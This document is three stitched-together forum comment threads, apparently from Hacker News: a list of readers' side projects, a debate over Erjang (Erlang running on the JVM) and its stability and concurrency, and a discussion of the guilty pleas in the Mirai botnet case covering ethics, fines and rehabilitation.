</comment><comment><USER45> I am implementing a 360 panorama generator in my photo effects app [http://wonderc.am](http://wonderc.am)

</comment><comment><USER46> RSMN ([http://osom.so/rsmn](http://osom.so/rsmn)) is a social media analysis tool as a subscription.

<comment><USER47> So this is the same as logging in and taking screenshots of the top 10 posts on a public Facebook page?

</comment></comment><comment><USER48> Mount Vista - An Ipad app for travel enthusiasts

[http://visualino.com/](http://visualino.com/)

</comment><comment><USER49> I've been working on a space invaders style game in javascript. I'm hoping to release it sometime in the next two weeks.

</comment><comment><USER50> pangrid, a crossword file format interconversion and publishing tool (the name is a tribute to pandoc). no repo up yet because I need to get approval from work first, but it works nicely for a few text and binary formats, and I'm working on extracting grids from images in PDF files and on webpages to reexport into some interactive format.

</comment><comment><USER51> A new TV Guide

[http://uk.zapping.io](http://uk.zapping.io)

</comment><comment><USER52> I created [http://mapwikipedia.com](http://mapwikipedia.com)

</comment><comment><USER53> a chatroom website chatleap.com and yahoo stock api to learn golang [https://github.com/TrevorDev/go-finance](https://github.com/TrevorDev/go- finance)

</comment><comment><USER54> Dogecoin.</comment>


Erjang - A JVM-based Erlang VM - <AUTHOR> http://www.infoq.com/presentations/Erjang-A-JVM-based-Erlang-VM

<comment><USER2> When should we expect to see someone run Erjang on Google AppEngine?

<comment><USER3> How do you suggest to handle Distributed Er[l|j]ang on GAE Java?

GAE and AWS Beanstalk are great fit for web apps and web sites, where each worker is identical.

In case of Er[l|j]ang each node will need to have different node name and be connected to other nodes, otherwise it will not be much useful to me.

I also need to launch different clusters, so it getting complicated.

</comment></comment><comment><USER4> this reminds me of the effort to port erlang to android. both projects are of questionable utility, but so is climbing mount everest

[http://www.burbas.se/artiklar/erlang-for-the-android- plattfo...](http://www.burbas.se/artiklar/erlang-for-the-android-plattform/)

<comment><USER5> you can install CouchDB from the Android market

</comment></comment><comment><USER6> Flash warning, please.

</comment><comment><USER7> my main question is why? Seems to be the worst of both worlds..... All the pain of Erlang syntax without any of the incredible stability and scalability of Erlang.

<comment><USER8> The erlang vm isnt magical, erlangs stability is derived from the semantics of the language and that should transfer to the jvm fine.

on the same vein erlangs syntax and semantics are heavily linked, erlangs syntax is not some afterthought with a vm that makes everything stable, its a core feature of the language and a big part of why its a pleasure to program and rock solid

<comment><USER7> besides it being functional and process orientated, theres lots about erlang syntax, that is just cumbersome, unwieldy and unnecessary, the interested reader is refferred to <http://damienkatz.net/2008/03/what_sucks_abou.html>. To claim that stability is a facet of the syntax , is questionable given as it would imply that languages like reia <http://reia-lang.org/> are less stable, which i would very much doubt. Also in terms of stability ive yet to hear of a jvm based project with 99.999% uptime. You seem to suggest that this is because all of the java programs out there are not written to the same standard, this clearly cant be true. Finally, I wait anxiously for the day that a single jvm can handle as many concurrent processes as a single erlang execution environment. This is all my opinion, but what you say doesnt really make sense to me.

<comment><USER9> >Also in terms of stability ive yet to hear of a jvm based project with 99.999% uptime.

Azul systems has said that for many clients, they've achieved perfect reliability in terms of uptime, and that the only reason they don't have five nines uptime is because deployments happen often enough that it doesn't count as uninterrupted uptime.

> Finally, I wait anxiously for the day that a single jvm can handle as many > concurrent processes as a single erlang execution environment.

It sounds like you are talking nonsense. Do you understand that a 'single jvm' is _one process_ , so to say that a single jvm can handle as many concurrent processes is meaningless. Do you mean threads? I'm quite certain the JVM's thread scalability is much higher than erlang's vm. Are you familiar with the architecture of either?

<comment><USER7> yes I meant processes as in the generic term you might say executions as erlang process are different to Java threads. I meant a comparison of concurrent 'activities' as comparing a Java thread model to an erlang process model is somewhat pointless. I am interested in any Java program you might have that can run thousands of threads without grinding to a halt. please show me I didn't think it possible!

<comment><USER9> I'm doing simultaneousness processing of 700-800 transactions on my dual core laptop on the JVM. I think on a production grade server a thousand or so is not going to be an issue.

Your Garbage Collector and program's contention is going to a bigger scaling bottleneck than the JVM itself.</comment></comment></comment></comment></comment></comment>


Charges And Pleas In Computer Crime Cases Involving Significant Cyber Attacks - <AUTHOR> https://www.justice.gov/usao-nj/pr/justice-department-announces-charges-and-guilty-pleas-three-computer-crime-cases <comment><USER2> An unfortunate reason to see a former university classmate of mine in the news. It always feels strange to see this story come up every so often. I was never a friend of Jha's, nor was I every really close to him, but I remember him exactly as his attorney described him: "Paras Jha is a brilliant young man whose intellect and technical skills far exceeded his emotional maturity." Jha was not the only former classmate of mine whom I felt lacked emotional maturity, and it is harrowing to imagine how a command of technology can give anyone the power to do something like this if he chose.

Jha intentionally used his skills to inconvenience those around him and he was able to do a great deal of harm to the world at large. While technology makes us better suited to solve problems and help those less fortunate, it also amplifies an individual's ability to do harm.

Intentional malice aside, all of us have the ability to greatly effect the world around us. It is imperative that we consider the impact of our actions. While I was a student at Rutgers, there was no mandatory ethics class for computer science, nor do I remember a class on ethics for computer scientists being offered.

<comment><USER3> If the department had been in the School of Engineering, pretty sure there would have been a mandatory ethics class.

<comment><USER4> I've been told the administration at my university plans to move the compsci department out of the engineering department and in to the business school. I really haven't heard any pro to that yet other than "it makes the business people happy and there are more of them."

</comment></comment></comment><comment><USER5> They should have thanked Brian Krebs, though. To be honest. Didn't he call out Jha long before anyone else knew?

<comment><AUTHOR> He did, in this article published in January 2017: [https://krebsonsecurity.com/2017/01/who-is-anna-senpai- the-m...](https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai- worm-author/)

It's a great read.

<comment><USER6> Interestingly, in addition to Paras Jha and Josiah White, the justice department's announcment mentions a guilty plea from Dalton Norman, who isn't mentioned in Krebs's article. I wonder what the story there is?

<comment><USER7> It's buried in the wired article, they found zero days to use to infect hosts.

<comment><USER6> Sorry, what Wired article is that?

<comment><USER8> "How a Dorm Room Minecraft Scam Brought Down the Internet" [https://www.wired.com/story/mirai-botnet-minecraft-scam- brou...](https://www.wired.com/story/mirai-botnet-minecraft-scam-brought-down- the-internet/?mbid=social_twitter)

<comment><USER6> Thanks!

</comment></comment></comment></comment></comment></comment></comment><comment><USER5> Last few lines state how assistance was provided by various regional and international agencies, and then goes on to list google, coinbase, cloudflare, etc. Interesting.

<comment><USER9> Coinbase is the surprising one to me, since it is the only one on the list that operates at the application rather than network level. And there's no mention of bitcoin theft anywhere in the report, just DDOS.

<comment><USER10> Bitcoin payments in DDOS for hire, or extortion (as in we'll stop if you pay us). If they cashed out via coinbase, the authorities can find out who profited via the paper trail created.

</comment></comment></comment><comment><USER11> It said he got fined $250k for damages his hack caused...Ive always been curious how these fines work. Will he be paying that back after he's out of jail and employed? Does he have a monthly payment depending on his income? Or can the equivalent be worked out in some type of community service or more jail time?

I ask because the guy is only 21 and now a felon...

<comment><USER12> They can garnish his wages after a small livable wage is achieved. Basically it will be almost impossible to ever get out of subsistence living. With his skill he may actually have a chance after a decade or two.

<comment><USER11> Wow, the implications of that are quite interesting. The effects of his sentencing can technically last for decades after he is out of jail. Funny how you never hear much about that in these trials...

But agreed being a convicted hacker won't prevent him from being employed. Even by the government...

<comment><USER13> After an incident in my teens in the 90s, I've thought about this at length. The only conclusion I ever seem to draw is one of more criminal activity. Yes, I can hear the inbound downvotes, but I'm just being intellectually honest. How can we expect this kid to reform if we ensure he'll be living without any kind of reward for decades to come? Seems like some jail time would be much more productive. A $250k fine is a 10-20 year sentence of subsistence living. That's probably the worst way to try and give someone the "right" moral compass. The chances we'll reform someone are slim, compared to getting someone jaded by the sentence and incentivized to commit more crime just to get ahead. We won't be rehabilitating this guy with a fine like that.

<comment><AUTHOR> It's not about him though. It's about signaling to everyone else that these crimes are taken seriously and will not be tolerated.

<comment><USER14> It's not ethical to use a human life for that message.

<comment><USER15> Do you mean it's not moral? Because that's what would make it bad.

I'd say it's morally wrong _not_ to do so. Part of moral governance is to protect people from bad guys.

<comment><USER14> I believe both are the case.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER16> I personally know Paras. Brilliant guy, really fun to hang out with, and learned a lot of technical knowledge from him. He was my go-to guy (like a lot of other people in the class) to help me fix the programming problems that I can't fix quickly.

I think he hacked the school for the lolz.I dont think he even thought it would be this serious when he did it, with feds and possibly jail time. He probably just wanted to see what he could do.

Even finding out about his involvement in Mirai today, it still doesnt change what I think about his character, or his ethics. Knowing this now, I think he'll become very successful very soon.

<comment><USER17> That's horribly disappointing. The man hacked thousands of devices and used them to launch DDoSes. He attacked competing minecraft services to steal customers and generate a profit. His botnet was also used to attack Brian Krebs (security researcher) and Dyn.

This isn't up for despute- although Paras originally denied involvement in the botnet this plea agreement and his confession prove that he is both a liar and a criminal.

He may end up being a successful person in the long wrong, but that doesn't make him an ethical person.

<comment><USER16> Yeah he hacked minecraft services to generate a profit when he was 19 or 20, I wish I could do that when I was 19. I dont think I would have known better at the time either.

He's as responsible of taking down Dyn as Mikhail Kalashnikov is responsible for all the people killed by the ak-47. He simply open sourced a tool for other people to use however they like.

He took the plea to reduce the sentence and the legal expense.

<comment><USER18> When you were 19/20, you didn't realize creating a botnet to take down competing businesses would be illegal?

<comment><USER16> Anyone with a brain would know it's illegal, just like anyone would know selling weed is illegal unless you own a dispensary, and can get a really harsh sentence.

<comment><USER19> Sure, but selling weed generally doesn't harm anyone, while sabotaging and extorting a company directly causes harm to its owners, employees, shareholders, and customers. Not to mention the harm caused by infecting millions of people's devices to create the botnet in the first place.

</comment></comment></comment></comment></comment></comment><comment><USER20> Looks like HN effectively DDOS'd justice.gov

</comment><comment><USER21> English grammar and orthography are weird and funky, but given that the title is summarized anyway, can we change "has plead" to "has pleaded" or "pleads"

<comment><AUTHOR> Sure, that sounds better</comment></comment>